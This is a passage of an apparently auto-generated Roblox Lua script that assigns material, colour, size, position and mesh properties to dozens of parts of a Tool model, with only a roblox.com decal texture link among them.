  3008. SpecialMesh233.Scale = Vector3.new(0.149999991, 1, 0.299999982)
  3009. SpecialMesh233.MeshType = Enum.MeshType.Wedge
  3010. SpecialMesh233.Scale = Vector3.new(0.149999991, 1, 0.299999982)
  3011. Part234.Parent = Tool0
  3012. Part234.Material = Enum.Material.SmoothPlastic
  3013. Part234.BrickColor = BrickColor.new("Black")
  3014. Part234.Reflectance = 0.050000000745058
  3015. Part234.Rotation = Vector3.new(180, -89.4599991, -90)
  3016. Part234.Anchored = true
  3017. Part234.FormFactor = Enum.FormFactor.Custom
  3018. Part234.Size = Vector3.new(0.200000003, 0.200000003, 0.270000011)
  3019. Part234.CFrame = CFrame.new(27.0954571, 1.273193, 138.040222, 3.56089729e-15, 0.00939133763, -0.999955833, 0.999999881, 8.8817842e-16, -3.55271368e-15, -8.54773505e-16, -0.999955535, -0.00939165056)
  3020. Part234.BottomSurface = Enum.SurfaceType.Smooth
  3021. Part234.TopSurface = Enum.SurfaceType.Smooth
  3022. Part234.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3023. Part234.Position = Vector3.new(27.0954571, 1.273193, 138.040222)
  3024. Part234.Orientation = Vector3.new(0, -90.5400009, 90)
  3025. Part234.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3026. CylinderMesh235.Parent = Part234
  3027. CylinderMesh235.Offset = Vector3.new(-0.00600000005, 0, 0)
  3028. CylinderMesh235.Scale = Vector3.new(0.900000036, 3.75000095, 1)
  3029. CylinderMesh235.Scale = Vector3.new(0.900000036, 3.75000095, 1)
  3030. Part236.Parent = Tool0
  3031. Part236.Material = Enum.Material.SmoothPlastic
  3032. Part236.BrickColor = BrickColor.new("Black")
  3033. Part236.Reflectance = 0.050000000745058
  3034. Part236.Rotation = Vector3.new(-180, 0.539999962, 180)
  3035. Part236.Anchored = true
  3036. Part236.FormFactor = Enum.FormFactor.Custom
  3037. Part236.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3038. Part236.CFrame = CFrame.new(27.1049805, 1.12329102, 137.056335, -0.999955833, -4.398931e-08, 0.00939130783, -4.37113883e-08, 0.999999404, 2.98023117e-08, -0.00939165056, 2.93904776e-08, -0.999954998)
  3039. Part236.BottomSurface = Enum.SurfaceType.Smooth
  3040. Part236.TopSurface = Enum.SurfaceType.Smooth
  3041. Part236.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3042. Part236.Position = Vector3.new(27.1049805, 1.12329102, 137.056335)
  3043. Part236.Orientation = Vector3.new(0, 179.459991, 0)
  3044. Part236.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3045. BlockMesh237.Parent = Part236
  3046. BlockMesh237.Scale = Vector3.new(0.450000018, 0.900000036, 0.299999982)
  3047. BlockMesh237.Scale = Vector3.new(0.450000018, 0.900000036, 0.299999982)
  3048. Part238.Parent = Tool0
  3049. Part238.Material = Enum.Material.SmoothPlastic
  3050. Part238.BrickColor = BrickColor.new("Brick yellow")
  3051. Part238.Reflectance = 0.050000000745058
  3052. Part238.Rotation = Vector3.new(180, -89.4499969, -90)
  3053. Part238.Anchored = true
  3054. Part238.FormFactor = Enum.FormFactor.Custom
  3055. Part238.Size = Vector3.new(0.270000011, 0.200000003, 0.270000011)
  3056. Part238.CFrame = CFrame.new(27.1051025, 1.22827101, 137.041504, -2.79857915e-10, 0.00939138234, -0.99995476, 0.999997616, 2.98022709e-08, -2.48689958e-14, 2.98009351e-08, -0.999953687, -0.00939142704)
  3057. Part238.BottomSurface = Enum.SurfaceType.Smooth
  3058. Part238.TopSurface = Enum.SurfaceType.Smooth
  3059. Part238.Color = Color3.new(0.843137, 0.772549, 0.603922)
  3060. Part238.Position = Vector3.new(27.1051025, 1.22827101, 137.041504)
  3061. Part238.Orientation = Vector3.new(0, -90.5400009, 90)
  3062. Part238.Color = Color3.new(0.843137, 0.772549, 0.603922)
  3063. CylinderMesh239.Parent = Part238
  3064. CylinderMesh239.Scale = Vector3.new(1, 0.180000007, 1)
  3065. CylinderMesh239.Scale = Vector3.new(1, 0.180000007, 1)
  3066. Part240.Parent = Tool0
  3067. Part240.Material = Enum.Material.SmoothPlastic
  3068. Part240.BrickColor = BrickColor.new("Black")
  3069. Part240.Reflectance = 0.050000000745058
  3070. Part240.Rotation = Vector3.new(-90, 0, 179.459991)
  3071. Part240.Anchored = true
  3072. Part240.FormFactor = Enum.FormFactor.Custom
  3073. Part240.Size = Vector3.new(0.200000003, 0.270000011, 0.200000003)
  3074. Part240.CFrame = CFrame.new(27.0733643, 1.26122999, 140.391907, -0.999955833, -0.00939133763, 3.56089729e-15, -3.55271368e-15, -8.8817842e-16, 0.999999881, -0.00939165056, 0.999955535, -8.54773505e-16)
  3075. Part240.BottomSurface = Enum.SurfaceType.Smooth
  3076. Part240.TopSurface = Enum.SurfaceType.Smooth
  3077. Part240.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3078. Part240.Position = Vector3.new(27.0733643, 1.26122999, 140.391907)
  3079. Part240.Orientation = Vector3.new(-89.9700012, 103.5, -104.040001)
  3080. Part240.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3081. Decal241.Parent = Part240
  3082. Decal241.Texture = "http://www.roblox.com/asset/?id=65628034"
  3083. Decal241.Face = Enum.NormalId.Bottom
  3084. CylinderMesh242.Parent = Part240
  3085. CylinderMesh242.Scale = Vector3.new(0.599999964, 1, 0.599999964)
  3086. CylinderMesh242.Scale = Vector3.new(0.599999964, 1, 0.599999964)
  3087. Part243.Parent = Tool0
  3088. Part243.Material = Enum.Material.SmoothPlastic
  3089. Part243.BrickColor = BrickColor.new("Black")
  3090. Part243.Reflectance = 0.050000000745058
  3091. Part243.Rotation = Vector3.new(-90.5400009, -45, -90.7599945)
  3092. Part243.Anchored = true
  3093. Part243.FormFactor = Enum.FormFactor.Custom
  3094. Part243.Size = Vector3.new(0.239999995, 0.200000003, 0.200000003)
  3095. Part243.CFrame = CFrame.new(27.1330566, 1.26122999, 140.743469, -0.00939133763, 0.707075536, -0.707075536, -8.8817842e-16, 0.70710665, 0.70710665, 0.999955535, 0.00664079189, -0.00664079189)
  3096. Part243.BottomSurface = Enum.SurfaceType.Smooth
  3097. Part243.TopSurface = Enum.SurfaceType.Smooth
  3098. Part243.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3099. Part243.Position = Vector3.new(27.1330566, 1.26122999, 140.743469)
  3100. Part243.Orientation = Vector3.new(-45, -90.5400009, 0)
  3101. Part243.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3102. SpecialMesh244.Parent = Part243
  3103. SpecialMesh244.Scale = Vector3.new(1, 0.225000009, 0.225000009)
  3104. SpecialMesh244.MeshType = Enum.MeshType.Wedge
  3105. SpecialMesh244.Scale = Vector3.new(1, 0.225000009, 0.225000009)
  3106. Part245.Parent = Tool0
  3107. Part245.Material = Enum.Material.SmoothPlastic
  3108. Part245.BrickColor = BrickColor.new("Black")
  3109. Part245.Reflectance = 0.050000000745058
  3110. Part245.Rotation = Vector3.new(-90, 0, 179.459991)
  3111. Part245.Anchored = true
  3112. Part245.FormFactor = Enum.FormFactor.Custom
  3113. Part245.Size = Vector3.new(0.200000003, 0.99000001, 0.228)
  3114. Part245.CFrame = CFrame.new(27.1395264, 1.24609399, 139.762512, -0.999955833, -0.00939133763, 3.56089729e-15, -3.55271368e-15, -8.8817842e-16, 0.999999881, -0.00939165056, 0.999955535, -8.54773505e-16)
  3115. Part245.BottomSurface = Enum.SurfaceType.Smooth
  3116. Part245.TopSurface = Enum.SurfaceType.Smooth
  3117. Part245.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3118. Part245.Position = Vector3.new(27.1395264, 1.24609399, 139.762512)
  3119. Part245.Orientation = Vector3.new(-89.9700012, 103.5, -104.040001)
  3120. Part245.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3121. CylinderMesh246.Parent = Part245
  3122. CylinderMesh246.Offset = Vector3.new(0, -0.00239999988, 0)
  3123. CylinderMesh246.Scale = Vector3.new(1.13999999, 1.00999987, 2)
  3124. CylinderMesh246.Scale = Vector3.new(1.13999999, 1.00999987, 2)
  3125. Part247.Parent = Tool0
  3126. Part247.Material = Enum.Material.SmoothPlastic
  3127. Part247.BrickColor = BrickColor.new("Black")
  3128. Part247.Reflectance = 0.050000000745058
  3129. Part247.Rotation = Vector3.new(89.4599991, 45, 90.7599945)
  3130. Part247.Anchored = true
  3131. Part247.FormFactor = Enum.FormFactor.Custom
  3132. Part247.Size = Vector3.new(0.239999995, 0.200000003, 0.200000003)
  3133. Part247.CFrame = CFrame.new(27.0042725, 1.26122999, 140.742371, -0.00939133763, -0.707075536, 0.707075536, -8.8817842e-16, -0.70710665, -0.70710665, 0.999955535, -0.00664079189, 0.00664079189)
  3134. Part247.BottomSurface = Enum.SurfaceType.Smooth
  3135. Part247.TopSurface = Enum.SurfaceType.Smooth
  3136. Part247.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3137. Part247.Position = Vector3.new(27.0042725, 1.26122999, 140.742371)
  3138. Part247.Orientation = Vector3.new(45, 89.4599991, -180)
  3139. Part247.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3140. SpecialMesh248.Parent = Part247
  3141. SpecialMesh248.Scale = Vector3.new(1, 0.225000009, 0.225000009)
  3142. SpecialMesh248.MeshType = Enum.MeshType.Wedge
  3143. SpecialMesh248.Scale = Vector3.new(1, 0.225000009, 0.225000009)
  3144. Part249.Parent = Tool0
  3145. Part249.Material = Enum.Material.SmoothPlastic
  3146. Part249.BrickColor = BrickColor.new("Black")
  3147. Part249.Reflectance = 0.050000000745058
  3148. Part249.Rotation = Vector3.new(-89.4599991, 45, 179.23999)
  3149. Part249.Anchored = true
  3150. Part249.FormFactor = Enum.FormFactor.Custom
  3151. Part249.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3152. Part249.CFrame = CFrame.new(27.0714111, 1.26122999, 140.574951, -0.707075536, -0.00939133763, 0.707075536, 0.70710665, -8.8817842e-16, 0.70710665, -0.00664079189, 0.999955535, 0.00664079189)
  3153. Part249.BottomSurface = Enum.SurfaceType.Smooth
  3154. Part249.TopSurface = Enum.SurfaceType.Smooth
  3155. Part249.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3156. Part249.Position = Vector3.new(27.0714111, 1.26122999, 140.574951)
  3157. Part249.Orientation = Vector3.new(-45, 89.4599991, 90)
  3158. Part249.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3159. CylinderMesh250.Parent = Part249
  3160. CylinderMesh250.Scale = Vector3.new(0.675000012, 0.527999997, 0.675000012)
  3161. CylinderMesh250.Scale = Vector3.new(0.675000012, 0.527999997, 0.675000012)
  3162. Part251.Parent = Tool0
  3163. Part251.Material = Enum.Material.SmoothPlastic
  3164. Part251.BrickColor = BrickColor.new("Black")
  3165. Part251.Reflectance = 0.050000000745058
  3166. Part251.Rotation = Vector3.new(90.5400009, -45, 90.7599945)
  3167. Part251.Anchored = true
  3168. Part251.FormFactor = Enum.FormFactor.Custom
  3169. Part251.Size = Vector3.new(0.239999995, 0.200000003, 0.200000003)
  3170. Part251.CFrame = CFrame.new(27.0697021, 1.32714796, 140.743164, -0.00939133763, -0.707075536, -0.707075536, -8.8817842e-16, 0.70710665, -0.70710665, 0.999955535, -0.00664079189, -0.00664079189)
  3171. Part251.BottomSurface = Enum.SurfaceType.Smooth
  3172. Part251.TopSurface = Enum.SurfaceType.Smooth
  3173. Part251.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3174. Part251.Position = Vector3.new(27.0697021, 1.32714796, 140.743164)
  3175. Part251.Orientation = Vector3.new(45, -90.5400009, 0)
  3176. Part251.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3177. SpecialMesh252.Parent = Part251
  3178. SpecialMesh252.Scale = Vector3.new(1, 0.225000009, 0.225000009)
  3179. SpecialMesh252.MeshType = Enum.MeshType.Wedge
  3180. SpecialMesh252.Scale = Vector3.new(1, 0.225000009, 0.225000009)
  3181. Part253.Parent = Tool0
  3182. Part253.Material = Enum.Material.SmoothPlastic
  3183. Part253.BrickColor = BrickColor.new("Black")
  3184. Part253.Reflectance = 0.050000000745058
  3185. Part253.Rotation = Vector3.new(-89.4599991, 45, -90.7599945)
  3186. Part253.Anchored = true
  3187. Part253.FormFactor = Enum.FormFactor.Custom
  3188. Part253.Size = Vector3.new(0.239999995, 0.200000003, 0.200000003)
  3189. Part253.CFrame = CFrame.new(27.0697021, 1.19531202, 140.743164, -0.00939133763, 0.707075536, 0.707075536, -8.8817842e-16, -0.70710665, 0.70710665, 0.999955535, 0.00664079189, 0.00664079189)
  3190. Part253.BottomSurface = Enum.SurfaceType.Smooth
  3191. Part253.TopSurface = Enum.SurfaceType.Smooth
  3192. Part253.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3193. Part253.Position = Vector3.new(27.0697021, 1.19531202, 140.743164)
  3194. Part253.Orientation = Vector3.new(-45, 89.4599991, -180)
  3195. Part253.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3196. SpecialMesh254.Parent = Part253
  3197. SpecialMesh254.Scale = Vector3.new(1, 0.225000009, 0.225000009)
  3198. SpecialMesh254.MeshType = Enum.MeshType.Wedge
  3199. SpecialMesh254.Scale = Vector3.new(1, 0.225000009, 0.225000009)
  3200. Part255.Parent = Tool0
  3201. Part255.Material = Enum.Material.SmoothPlastic
  3202. Part255.BrickColor = BrickColor.new("Really black")
  3203. Part255.Reflectance = 0.050000000745058
  3204. Part255.Rotation = Vector3.new(-89.4599991, 45, 179.23999)
  3205. Part255.Anchored = true
  3206. Part255.FormFactor = Enum.FormFactor.Custom
  3207. Part255.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3208. Part255.CFrame = CFrame.new(27.0692139, 1.26122999, 140.865967, -0.707075536, -0.00939133763, 0.707075536, 0.70710665, -8.8817842e-16, 0.70710665, -0.00664079189, 0.999955535, 0.00664079189)
  3209. Part255.BottomSurface = Enum.SurfaceType.Smooth
  3210. Part255.TopSurface = Enum.SurfaceType.Smooth
  3211. Part255.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3212. Part255.Position = Vector3.new(27.0692139, 1.26122999, 140.865967)
  3213. Part255.Orientation = Vector3.new(-45, 89.4599991, 90)
  3214. Part255.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3215. CylinderMesh256.Parent = Part255
  3216. CylinderMesh256.Offset = Vector3.new(0, -0.239999995, 0)
  3217. CylinderMesh256.Scale = Vector3.new(0.404999971, 0.0269999988, 0.50999999)
  3218. CylinderMesh256.Scale = Vector3.new(0.404999971, 0.0269999988, 0.50999999)
  3219. Part257.Parent = Tool0
  3220. Part257.Material = Enum.Material.SmoothPlastic
  3221. Part257.BrickColor = BrickColor.new("Really black")
  3222. Part257.Rotation = Vector3.new(-180, 0.539999962, -180)
  3223. Part257.Anchored = true
  3224. Part257.FormFactor = Enum.FormFactor.Custom
  3225. Part257.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3226. Part257.CFrame = CFrame.new(27.2574463, 1.336182, 139.973999, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3227. Part257.BottomSurface = Enum.SurfaceType.Smooth
  3228. Part257.TopSurface = Enum.SurfaceType.Smooth
  3229. Part257.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3230. Part257.Position = Vector3.new(27.2574463, 1.336182, 139.973999)
  3231. Part257.Orientation = Vector3.new(0, 179.459991, 0)
  3232. Part257.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3233. BlockMesh258.Parent = Part257
  3234. BlockMesh258.Offset = Vector3.new(0.180000007, -0.1875, 0)
  3235. BlockMesh258.Scale = Vector3.new(1.31249988, 0.0749999955, 1)
  3236. BlockMesh258.Scale = Vector3.new(1.31249988, 0.0749999955, 1)
  3237. Part259.Parent = Tool0
  3238. Part259.Material = Enum.Material.SmoothPlastic
  3239. Part259.BrickColor = BrickColor.new("Really black")
  3240. Part259.Rotation = Vector3.new(-180, 0.539999962, -180)
  3241. Part259.Anchored = true
  3242. Part259.FormFactor = Enum.FormFactor.Custom
  3243. Part259.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3244. Part259.CFrame = CFrame.new(27.2574463, 1.36621106, 139.973999, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3245. Part259.BottomSurface = Enum.SurfaceType.Smooth
  3246. Part259.TopSurface = Enum.SurfaceType.Smooth
  3247. Part259.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3248. Part259.Position = Vector3.new(27.2574463, 1.36621106, 139.973999)
  3249. Part259.Orientation = Vector3.new(0, 179.459991, 0)
  3250. Part259.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3251. BlockMesh260.Parent = Part259
  3252. BlockMesh260.Offset = Vector3.new(0.180000007, -0.1875, 0)
  3253. BlockMesh260.Scale = Vector3.new(1.57499993, 0.0749999955, 1)
  3254. BlockMesh260.Scale = Vector3.new(1.57499993, 0.0749999955, 1)
  3255. Part261.Parent = Tool0
  3256. Part261.Material = Enum.Material.SmoothPlastic
  3257. Part261.BrickColor = BrickColor.new("Black")
  3258. Part261.Rotation = Vector3.new(-180, 0.539999962, -180)
  3259. Part261.Anchored = true
  3260. Part261.FormFactor = Enum.FormFactor.Custom
  3261. Part261.Size = Vector3.new(0.200000003, 0.200000003, 0.810000002)
  3262. Part261.CFrame = CFrame.new(27.2590332, 1.26122999, 139.763794, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3263. Part261.BottomSurface = Enum.SurfaceType.Smooth
  3264. Part261.TopSurface = Enum.SurfaceType.Smooth
  3265. Part261.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3266. Part261.Position = Vector3.new(27.2590332, 1.26122999, 139.763794)
  3267. Part261.Orientation = Vector3.new(0, 179.459991, 0)
  3268. Part261.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3269. BlockMesh262.Parent = Part261
  3270. BlockMesh262.Offset = Vector3.new(0.0149999997, 0, 0)
  3271. BlockMesh262.Scale = Vector3.new(0.299999982, 0.599999964, 0.998999953)
  3272. BlockMesh262.Scale = Vector3.new(0.299999982, 0.599999964, 0.998999953)
  3273. Part263.Parent = Tool0
  3274. Part263.Material = Enum.Material.SmoothPlastic
  3275. Part263.BrickColor = BrickColor.new("Black")
  3276. Part263.Rotation = Vector3.new(-180, 0.539999962, -180)
  3277. Part263.Anchored = true
  3278. Part263.FormFactor = Enum.FormFactor.Custom
  3279. Part263.Size = Vector3.new(0.200000003, 0.200000003, 0.99000001)
  3280. Part263.CFrame = CFrame.new(27.0793457, 1.12011695, 139.761902, -0.999955893, 4.35706298e-08, 0.00939145684, 4.37113812e-08, 0.99999994, 1.4781123e-08, -0.00939150155, 1.51909649e-08, -0.999955773)
  3281. Part263.BottomSurface = Enum.SurfaceType.Smooth
  3282. Part263.TopSurface = Enum.SurfaceType.Smooth
  3283. Part263.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3284. Part263.Position = Vector3.new(27.0793457, 1.12011695, 139.761902)
  3285. Part263.Orientation = Vector3.new(0, 179.459991, 0)
  3286. Part263.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3287. BlockMesh264.Parent = Part263
  3288. BlockMesh264.Offset = Vector3.new(0, 0.0269999988, 0)
  3289. BlockMesh264.Scale = Vector3.new(0.75, 0.149999991, 1.005)
  3290. BlockMesh264.Scale = Vector3.new(0.75, 0.149999991, 1.005)
  3291. Part265.Parent = Tool0
  3292. Part265.Material = Enum.Material.SmoothPlastic
  3293. Part265.BrickColor = BrickColor.new("Really black")
  3294. Part265.Rotation = Vector3.new(-180, 0.539999962, -180)
  3295. Part265.Anchored = true
  3296. Part265.FormFactor = Enum.FormFactor.Custom
  3297. Part265.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3298. Part265.CFrame = CFrame.new(27.2612305, 1.36621106, 139.553955, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3299. Part265.BottomSurface = Enum.SurfaceType.Smooth
  3300. Part265.TopSurface = Enum.SurfaceType.Smooth
  3301. Part265.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3302. Part265.Position = Vector3.new(27.2612305, 1.36621106, 139.553955)
  3303. Part265.Orientation = Vector3.new(0, 179.459991, 0)
  3304. Part265.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3305. BlockMesh266.Parent = Part265
  3306. BlockMesh266.Offset = Vector3.new(0.180000007, -0.1875, 0)
  3307. BlockMesh266.Scale = Vector3.new(1.57499993, 0.0749999955, 1)
  3308. BlockMesh266.Scale = Vector3.new(1.57499993, 0.0749999955, 1)
  3309. Part267.Parent = Tool0
  3310. Part267.Material = Enum.Material.SmoothPlastic
  3311. Part267.BrickColor = BrickColor.new("Brick yellow")
  3312. Part267.Rotation = Vector3.new(-180, 0.539999962, -180)
  3313. Part267.Anchored = true
  3314. Part267.FormFactor = Enum.FormFactor.Custom
  3315. Part267.Size = Vector3.new(0.200000003, 0.200000003, 0.99000001)
  3316. Part267.CFrame = CFrame.new(27.0793457, 1.40722597, 139.761902, -0.999955893, 4.35706298e-08, 0.00939145684, 4.37113812e-08, 0.99999994, 1.4781123e-08, -0.00939150155, 1.51909649e-08, -0.999955773)
  3317. Part267.BottomSurface = Enum.SurfaceType.Smooth
  3318. Part267.TopSurface = Enum.SurfaceType.Smooth
  3319. Part267.Color = Color3.new(0.843137, 0.772549, 0.603922)
  3320. Part267.Position = Vector3.new(27.0793457, 1.40722597, 139.761902)
  3321. Part267.Orientation = Vector3.new(0, 179.459991, 0)
  3322. Part267.Color = Color3.new(0.843137, 0.772549, 0.603922)
  3323. BlockMesh268.Parent = Part267
  3324. BlockMesh268.Offset = Vector3.new(0, -0.00900000054, 0)
  3325. BlockMesh268.Scale = Vector3.new(0.75, 0.522000015, 1)
  3326. BlockMesh268.Scale = Vector3.new(0.75, 0.522000015, 1)
  3327. Part269.Parent = Tool0
  3328. Part269.Material = Enum.Material.SmoothPlastic
  3329. Part269.BrickColor = BrickColor.new("Brick yellow")
  3330. Part269.Rotation = Vector3.new(-180, 0.539999962, -180)
  3331. Part269.Anchored = true
  3332. Part269.FormFactor = Enum.FormFactor.Custom
  3333. Part269.Size = Vector3.new(0.200000003, 0.200000003, 0.816000223)
  3334. Part269.CFrame = CFrame.new(27.0791016, 1.10229504, 139.765137, -0.999955893, 4.35706298e-08, 0.00939145684, 4.37113812e-08, 0.99999994, 1.4781123e-08, -0.00939150155, 1.51909649e-08, -0.999955773)
  3335. Part269.BottomSurface = Enum.SurfaceType.Smooth
  3336. Part269.TopSurface = Enum.SurfaceType.Smooth
  3337. Part269.Color = Color3.new(0.843137, 0.772549, 0.603922)
  3338. Part269.Position = Vector3.new(27.0791016, 1.10229504, 139.765137)
  3339. Part269.Orientation = Vector3.new(0, 179.459991, 0)
  3340. Part269.Color = Color3.new(0.843137, 0.772549, 0.603922)
  3341. BlockMesh270.Parent = Part269
  3342. BlockMesh270.Offset = Vector3.new(0, 0.0180000011, 0)
  3343. BlockMesh270.Scale = Vector3.new(0.75, 0.270000011, 1)
  3344. BlockMesh270.Scale = Vector3.new(0.75, 0.270000011, 1)
  3345. Part271.Parent = Tool0
  3346. Part271.Material = Enum.Material.SmoothPlastic
  3347. Part271.BrickColor = BrickColor.new("Dark stone grey")
  3348. Part271.Rotation = Vector3.new(-180, 0.539999962, -180)
  3349. Part271.Anchored = true
  3350. Part271.FormFactor = Enum.FormFactor.Custom
  3351. Part271.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3352. Part271.CFrame = CFrame.new(27.0745831, 1.36328101, 140.272095, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3353. Part271.BottomSurface = Enum.SurfaceType.Smooth
  3354. Part271.TopSurface = Enum.SurfaceType.Smooth
  3355. Part271.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3356. Part271.Position = Vector3.new(27.0745831, 1.36328101, 140.272095)
  3357. Part271.Orientation = Vector3.new(0, 179.459991, 0)
  3358. Part271.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3359. BlockMesh272.Parent = Part271
  3360. BlockMesh272.Scale = Vector3.new(0.299999982, 0.375, 0.299999982)
  3361. BlockMesh272.Scale = Vector3.new(0.299999982, 0.375, 0.299999982)
  3362. Part273.Parent = Tool0
  3363. Part273.Material = Enum.Material.SmoothPlastic
  3364. Part273.BrickColor = BrickColor.new("Really black")
  3365. Part273.Rotation = Vector3.new(-180, 0.539999962, -180)
  3366. Part273.Anchored = true
  3367. Part273.FormFactor = Enum.FormFactor.Custom
  3368. Part273.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3369. Part273.CFrame = CFrame.new(27.2612305, 1.336182, 139.553955, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3370. Part273.BottomSurface = Enum.SurfaceType.Smooth
  3371. Part273.TopSurface = Enum.SurfaceType.Smooth
  3372. Part273.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3373. Part273.Position = Vector3.new(27.2612305, 1.336182, 139.553955)
  3374. Part273.Orientation = Vector3.new(0, 179.459991, 0)
  3375. Part273.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3376. BlockMesh274.Parent = Part273
  3377. BlockMesh274.Offset = Vector3.new(0.180000007, -0.1875, 0)
  3378. BlockMesh274.Scale = Vector3.new(1.31249988, 0.0749999955, 1)
  3379. BlockMesh274.Scale = Vector3.new(1.31249988, 0.0749999955, 1)
  3380. Part275.Parent = Tool0
  3381. Part275.Material = Enum.Material.SmoothPlastic
  3382. Part275.BrickColor = BrickColor.new("Really black")
  3383. Part275.Rotation = Vector3.new(-180, 0.539999962, -180)
  3384. Part275.Anchored = true
  3385. Part275.FormFactor = Enum.FormFactor.Custom
  3386. Part275.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3387. Part275.CFrame = CFrame.new(26.9016113, 1.39624, 139.550354, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3388. Part275.BottomSurface = Enum.SurfaceType.Smooth
  3389. Part275.TopSurface = Enum.SurfaceType.Smooth
  3390. Part275.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3391. Part275.Position = Vector3.new(26.9016113, 1.39624, 139.550354)
  3392. Part275.Orientation = Vector3.new(0, 179.459991, 0)
  3393. Part275.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3394. BlockMesh276.Parent = Part275
  3395. BlockMesh276.Offset = Vector3.new(-0.180000007, 0.0180000011, 0)
  3396. BlockMesh276.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
  3397. BlockMesh276.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
  3398. Part277.Parent = Tool0
  3399. Part277.Material = Enum.Material.SmoothPlastic
  3400. Part277.BrickColor = BrickColor.new("Really black")
  3401. Part277.Rotation = Vector3.new(-180, 0.539999962, -180)
  3402. Part277.Anchored = true
  3403. Part277.FormFactor = Enum.FormFactor.Custom
  3404. Part277.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3405. Part277.CFrame = CFrame.new(26.8973389, 1.39624, 139.970337, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3406. Part277.BottomSurface = Enum.SurfaceType.Smooth
  3407. Part277.TopSurface = Enum.SurfaceType.Smooth
  3408. Part277.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3409. Part277.Position = Vector3.new(26.8973389, 1.39624, 139.970337)
  3410. Part277.Orientation = Vector3.new(0, 179.459991, 0)
  3411. Part277.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3412. BlockMesh278.Parent = Part277
  3413. BlockMesh278.Offset = Vector3.new(-0.180000007, 0.0180000011, 0)
  3414. BlockMesh278.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
  3415. BlockMesh278.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
  3416. Part279.Parent = Tool0
  3417. Part279.Material = Enum.Material.SmoothPlastic
  3418. Part279.BrickColor = BrickColor.new("Really black")
  3419. Part279.Rotation = Vector3.new(-180, 0.539999962, -180)
  3420. Part279.Anchored = true
  3421. Part279.FormFactor = Enum.FormFactor.Custom
  3422. Part279.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3423. Part279.CFrame = CFrame.new(26.8973389, 1.36621106, 139.970337, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3424. Part279.BottomSurface = Enum.SurfaceType.Smooth
  3425. Part279.TopSurface = Enum.SurfaceType.Smooth
  3426. Part279.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3427. Part279.Position = Vector3.new(26.8973389, 1.36621106, 139.970337)
  3428. Part279.Orientation = Vector3.new(0, 179.459991, 0)
  3429. Part279.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
